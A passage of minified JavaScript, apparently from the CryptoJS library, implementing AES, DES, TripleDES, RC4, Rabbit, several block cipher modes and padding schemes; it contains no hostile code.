== i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & 